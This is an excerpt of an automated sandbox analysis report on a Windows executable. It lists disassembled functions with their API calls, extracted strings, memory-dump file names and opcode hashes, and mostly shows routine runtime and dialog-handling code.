                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
                • API String ID: 0-1718035505
                • Opcode ID: a69ddd7f69085183462a545f97aa70995b2c9f43c8ed6a709e6406930b03b5ef
                • Instruction ID: 2bc2d5da2cd7fc6476a384bed8aea801ea499cb818e05a47328ec0c9ad1cdc41
                • Opcode Fuzzy Hash: a69ddd7f69085183462a545f97aa70995b2c9f43c8ed6a709e6406930b03b5ef
                • Instruction Fuzzy Hash: B401D1B62422229B4F214FB59C906EBABD4EA0272131001FBE681E3360FB50C846D7A5
                Function 00BD0938 Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON
                Download Yara Rule
                APIs
                • SystemTimeToFileTime.KERNEL32(?,?), ref: 00BD0996
                  • Part of subcall function 00BCAA39: GetVersionExW.KERNEL32(?), ref: 00BCAA5E
                • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00BD09B8
                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00BD09D2
                • TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00BD09E3
                • SystemTimeToFileTime.KERNEL32(?,?), ref: 00BD09F3
                • SystemTimeToFileTime.KERNEL32(?,?), ref: 00BD09FF
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Time$File$System$Local$SpecificVersion
                • String ID:
                • API String ID: 2092733347-0
                • Opcode ID: dcff29cd7d37a836b12b15777d6bc51a51c745e4cd9d499bff9197dadcf78da9
                • Instruction ID: 3b6473280d9077c0cfd3b97acd38bac925b13e3da7af20e2ec4bec0f7bc6be19
                • Opcode Fuzzy Hash: dcff29cd7d37a836b12b15777d6bc51a51c745e4cd9d499bff9197dadcf78da9
                • Instruction Fuzzy Hash: D531D77A1183469BC704EFA9D8809ABB7E8FF98704F04495EF995D3210EB30D549CB6A
                Function 00BD8C4D Relevance: 9.1, APIs: 6, Instructions: 86COMMON
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _memcmp
                • String ID:
                • API String ID: 2931989736-0
                • Opcode ID: 0488bb49a0407ed50305fb1e21de52a166e426f0bca2918af8dc4eafec2c6aa6
                • Instruction ID: 76be82c61f049e1e7e3b5d29708bbd956abb2b1015360d692e0de253ac743e83
                • Opcode Fuzzy Hash: 0488bb49a0407ed50305fb1e21de52a166e426f0bca2918af8dc4eafec2c6aa6
                • Instruction Fuzzy Hash: DC218E7160410AEBDB149A20CC81E3BF7EDEB60759B1585BBFD059B351FB20ED4582A4
                Function 00BE8571 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • GetLastError.KERNEL32(?,?,00BE33F4,?,?,?,00BE2E6F,00000050), ref: 00BE8575
                • _free.LIBCMT ref: 00BE85A8
                • _free.LIBCMT ref: 00BE85D0
                • SetLastError.KERNEL32(00000000), ref: 00BE85DD
                • SetLastError.KERNEL32(00000000), ref: 00BE85E9
                • _abort.LIBCMT ref: 00BE85EF
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ErrorLast$_free$_abort
                • String ID:
                • API String ID: 3160817290-0
                • Opcode ID: f0867f353fb327945a336566706b20f77384c621243f02a0acca45d36e727b2e
                • Instruction ID: cca44aa211a77264b0ee3b6ea90631103fe72a57580e542cab439b590405df40
                • Opcode Fuzzy Hash: f0867f353fb327945a336566706b20f77384c621243f02a0acca45d36e727b2e
                • Instruction Fuzzy Hash: E4F0A436184A803BD616733BBC0AE6F25D6DBE1722B3501A5F91CE32A2EF248A01C160
                Function 00BDC2FD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BC12D7: GetDlgItem.USER32(00000000,00003021), ref: 00BC131B
                  • Part of subcall function 00BC12D7: SetWindowTextW.USER32(00000000,00BF22E4), ref: 00BC1331
                • EndDialog.USER32(?,00000001), ref: 00BDC348
                • GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00BDC35E
                • SetDlgItemTextW.USER32(?,00000066,?), ref: 00BDC378
                • SetDlgItemTextW.USER32(?,00000068), ref: 00BDC383
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ItemText$DialogWindow
                • String ID: RENAMEDLG
                • API String ID: 445417207-3299779563
                • Opcode ID: 1b0ccc438425287d063afd0a6c63747bac03f8eb7ac5ea3ac19f0935e2ff2f8f
                • Instruction ID: 64541c9214b806c102452aca59451ec8badcb04cf27a33abdf90a7ac51af0352
                • Opcode Fuzzy Hash: 1b0ccc438425287d063afd0a6c63747bac03f8eb7ac5ea3ac19f0935e2ff2f8f
                • Instruction Fuzzy Hash: 2301F53268431676D2105A285D44F7BBFACEB97B21F008156F341B7290D6A1AC04D769
                Function 00BE6B9E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00BE6B4F,00000003,?,00BE6AEF,00000003,00BFA8C8,0000000C,00BE6C46,00000003,00000002), ref: 00BE6BBE
                • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00BE6BD1
                • FreeLibrary.KERNEL32(00000000,?,?,?,00BE6B4F,00000003,?,00BE6AEF,00000003,00BFA8C8,0000000C,00BE6C46,00000003,00000002,00000000), ref: 00BE6BF4
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AddressFreeHandleLibraryModuleProc
                • String ID: CorExitProcess$mscoree.dll
                • API String ID: 4061214504-1276376045
                • Opcode ID: bf79f28656520dd9d2dec7dac29c16e1bc36172eb571da959492eb96b41280fa
                • Instruction ID: 8eb6f9f38ae1999e8e9b58220342d045f044f07a353b51a35e06ea62cc8c3ff4
                • Opcode Fuzzy Hash: bf79f28656520dd9d2dec7dac29c16e1bc36172eb571da959492eb96b41280fa
                • Instruction Fuzzy Hash: 18F04F31A0520DBBCB159BA1DC09FAEBFF8EB04755F0000A5F909E7160DF709E44DA90
                Function 00BCE819 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BCFD16: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BCFD31
                  • Part of subcall function 00BCFD16: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BCE82C,Crypt32.dll,?,00BCE8AE,?,00BCE892,?,?,?,?), ref: 00BCFD53
                • GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00BCE838
                • GetProcAddress.KERNEL32(00C07350,CryptUnprotectMemory), ref: 00BCE848
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AddressProc$DirectoryLibraryLoadSystem
                • String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
                • API String ID: 2141747552-1753850145
                • Opcode ID: 48441c9c6e4e8c85363ef82cb5273902fe4429528e1bb39ea38bdbe52dbc40f5
                • Instruction ID: 71f4ac3063e58015964d5a4118af612159924f6c41ffa4495372b7cdd2a1c894
                • Opcode Fuzzy Hash: 48441c9c6e4e8c85363ef82cb5273902fe4429528e1bb39ea38bdbe52dbc40f5
                • Instruction Fuzzy Hash: 73E046B1502A4BFBDB005B74A808B21FBE4BB10710F10C1AAB224D36A0EFB4D0A4CB60
                Function 00BE73AF Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _free
                • String ID:
                • API String ID: 269201875-0
                • Opcode ID: 25341ec826e315f57a44bdcaa5616e942916b2878d042e66b9ff69f2f1817b8c
                • Instruction ID: 095b2a40d88f00e3742bc3fbf06c98044cea5bcf3e1de454d5d106558fad1ac1
                • Opcode Fuzzy Hash: 25341ec826e315f57a44bdcaa5616e942916b2878d042e66b9ff69f2f1817b8c
                • Instruction Fuzzy Hash: A441C236A40250AFCB24DF7AC881A6DB7F5EF85324B2545A9E515EB391EB31ED01CB80
                Function 00BEAC01 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                Download Yara Rule
                APIs
                • GetEnvironmentStringsW.KERNEL32 ref: 00BEAC0A
                • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BEAC2D
                  • Part of subcall function 00BE7B00: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BE3006,?,0000015D,?,?,?,?,00BE44E2,000000FF,00000000,?,?), ref: 00BE7B32
                • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00BEAC53
                • _free.LIBCMT ref: 00BEAC66
                • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00BEAC75
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                • String ID:
                • API String ID: 336800556-0
                • Opcode ID: b296fc6a9a9e18c8872073983e1bd1324b3806571cdea5ac4639eba5328d8153
                • Instruction ID: 9920c054a885e3bad00e6856f52546cbf9230b90e6c082da326a3432b183883d
                • Opcode Fuzzy Hash: b296fc6a9a9e18c8872073983e1bd1324b3806571cdea5ac4639eba5328d8153
                • Instruction Fuzzy Hash: 510171726056957B2321567B6CCCC7B6EADDAC6FA032501A9F904D3341DF619D0181F2
                Function 00BE85F5 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • GetLastError.KERNEL32(?,?,?,00BE7F47,00BE7BE3,?,00BE859F,00000001,00000364,?,00BE33F4,?,?,?,00BE2E6F,00000050), ref: 00BE85FA
                • _free.LIBCMT ref: 00BE862F
                • _free.LIBCMT ref: 00BE8656
                • SetLastError.KERNEL32(00000000), ref: 00BE8663
                • SetLastError.KERNEL32(00000000), ref: 00BE866C
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ErrorLast$_free
                • String ID:
                • API String ID: 3170660625-0
                • Opcode ID: af0990a5c49ac4707c72263d474b26007ede3a05082b2e1c342f860aa0896326
                • Instruction ID: a275314f4e35087a6234f88bdb2b133ae2b3f9f2966f285beb1d217443b13484
                • Opcode Fuzzy Hash: af0990a5c49ac4707c72263d474b26007ede3a05082b2e1c342f860aa0896326
                • Instruction Fuzzy Hash: AB01D136144E807FD316B73B6C89D2A22D9EBD236272101A4F41D93252EF248C019028
                Function 00BD03DE Relevance: 7.5, APIs: 5, Instructions: 44COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BD06B1: ResetEvent.KERNEL32(?,?,00BD0400,?,?,?,?,00BF146D,000000FF,?,00BCA6B6,?,?,?,00BF146D,000000FF), ref: 00BD06D1
                  • Part of subcall function 00BD06B1: ReleaseSemaphore.KERNEL32(?,?,00000000,?,?,?,00BF146D,000000FF,?,00BCA6B6,?,?,?,00BF146D,000000FF), ref: 00BD06E5
                • ReleaseSemaphore.KERNEL32(?,00000020,00000000), ref: 00BD0412
                • CloseHandle.KERNEL32(?,?), ref: 00BD042C
                • DeleteCriticalSection.KERNEL32(?), ref: 00BD0445
                • CloseHandle.KERNEL32(?), ref: 00BD0451
                • CloseHandle.KERNEL32(?), ref: 00BD045D
                  • Part of subcall function 00BD04D4: WaitForSingleObject.KERNEL32(?,000000FF,00BD06F6,?,?,?,?,00BF146D,000000FF,?,00BCA6B6,?,?,?,00BF146D,000000FF), ref: 00BD04DA
                  • Part of subcall function 00BD04D4: GetLastError.KERNEL32(?,?,?,?,00BF146D,000000FF,?,00BCA6B6,?,?,?,00BF146D,000000FF), ref: 00BD04E6
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
                • String ID:
                • API String ID: 1868215902-0
                • Opcode ID: fe3c7e8dbe83da7716b76c2f3bf82e3f0b6388f0afe696da77026e9f751e2be6
                • Instruction ID: 9bcf33152cc27014b6f18d064b95d39267272aaf3eeeb32d8058bd51a6a887e8
                • Opcode Fuzzy Hash: fe3c7e8dbe83da7716b76c2f3bf82e3f0b6388f0afe696da77026e9f751e2be6
                • Instruction Fuzzy Hash: 51018C32100A00EBD721AB68DC44F96FBFAFB45710F00456AF29A83660DF752844DB50
                Function 00BEB4BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • _free.LIBCMT ref: 00BEB4D4
                  • Part of subcall function 00BE7AC6: RtlFreeHeap.NTDLL(00000000,00000000,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?), ref: 00BE7ADC
                  • Part of subcall function 00BE7AC6: GetLastError.KERNEL32(?,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?,?), ref: 00BE7AEE
                • _free.LIBCMT ref: 00BEB4E6
                • _free.LIBCMT ref: 00BEB4F8
                • _free.LIBCMT ref: 00BEB50A
                • _free.LIBCMT ref: 00BEB51C
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _free$ErrorFreeHeapLast
                • String ID:
                • API String ID: 776569668-0
                • Opcode ID: 3809ab74adf154802e11ab3054a1b61e8295e28a7b31de7a7c17853aef15ab48
                • Instruction ID: 1cb16a93c41b90295b9e57cece3b31e7b21f049196b816544ac475669acf0bce
                • Opcode Fuzzy Hash: 3809ab74adf154802e11ab3054a1b61e8295e28a7b31de7a7c17853aef15ab48
                • Instruction Fuzzy Hash: 38F03636544280B78630EB5AF98AC2B77EEFB007107585C95F059D7662CF34FD80C654
                Function 00BE7601 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                Download Yara Rule
                APIs
                • _free.LIBCMT ref: 00BE761F
                  • Part of subcall function 00BE7AC6: RtlFreeHeap.NTDLL(00000000,00000000,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?), ref: 00BE7ADC
                  • Part of subcall function 00BE7AC6: GetLastError.KERNEL32(?,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?,?), ref: 00BE7AEE
                • _free.LIBCMT ref: 00BE7631
                • _free.LIBCMT ref: 00BE7644
                • _free.LIBCMT ref: 00BE7655
                • _free.LIBCMT ref: 00BE7666
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _free$ErrorFreeHeapLast
                • String ID:
                • API String ID: 776569668-0
                • Opcode ID: 3a98bee64791b87012596804ac7cb41b5742a05dc145c3edee61864e164cd536
                • Instruction ID: be26fae761d3cd45e089186029468e2e06be7f50ed2716575859682a9e170400
                • Opcode Fuzzy Hash: 3a98bee64791b87012596804ac7cb41b5742a05dc145c3edee61864e164cd536
                • Instruction Fuzzy Hash: 6FF09A71864268AB8631FF1ABC01B2E3BE5F70571032A51A7F02057AB7CF340A02EBC1
                Function 00BE6C99 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                Download Yara Rule
                APIs
                • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\YyVnwn8Zst.exe,00000104), ref: 00BE6CD9
                • _free.LIBCMT ref: 00BE6DA4
                • _free.LIBCMT ref: 00BE6DAE
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _free$FileModuleName
                • String ID: C:\Users\user\Desktop\YyVnwn8Zst.exe
                • API String ID: 2506810119-3398392515
                • Opcode ID: d810c684538a38fed7d60304a0dc139ab2b6a78e48ca0e9ac82a21744d823f15
                • Instruction ID: 3fb332f662be62f1fe93a792389371df19886dd8fdef42460dc0c1719f876a30
                • Opcode Fuzzy Hash: d810c684538a38fed7d60304a0dc139ab2b6a78e48ca0e9ac82a21744d823f15
                • Instruction Fuzzy Hash: 0B318F71A04298AFDB21DF9A9C85A9EBBFCEB95350F6080E6F80497251D7708E41CB91
                Function 00BC74AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC74B1
                  • Part of subcall function 00BC3AAF: __EH_prolog.LIBCMT ref: 00BC3AB4
                • GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00BC7578
                  • Part of subcall function 00BC7B08: GetCurrentProcess.KERNEL32(00000020,?), ref: 00BC7B17
                  • Part of subcall function 00BC7B08: GetLastError.KERNEL32 ref: 00BC7B5D
                  • Part of subcall function 00BC7B08: CloseHandle.KERNEL32(?), ref: 00BC7B6C
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ErrorH_prologLast$CloseCurrentHandleProcess
                • String ID: SeRestorePrivilege$SeSecurityPrivilege
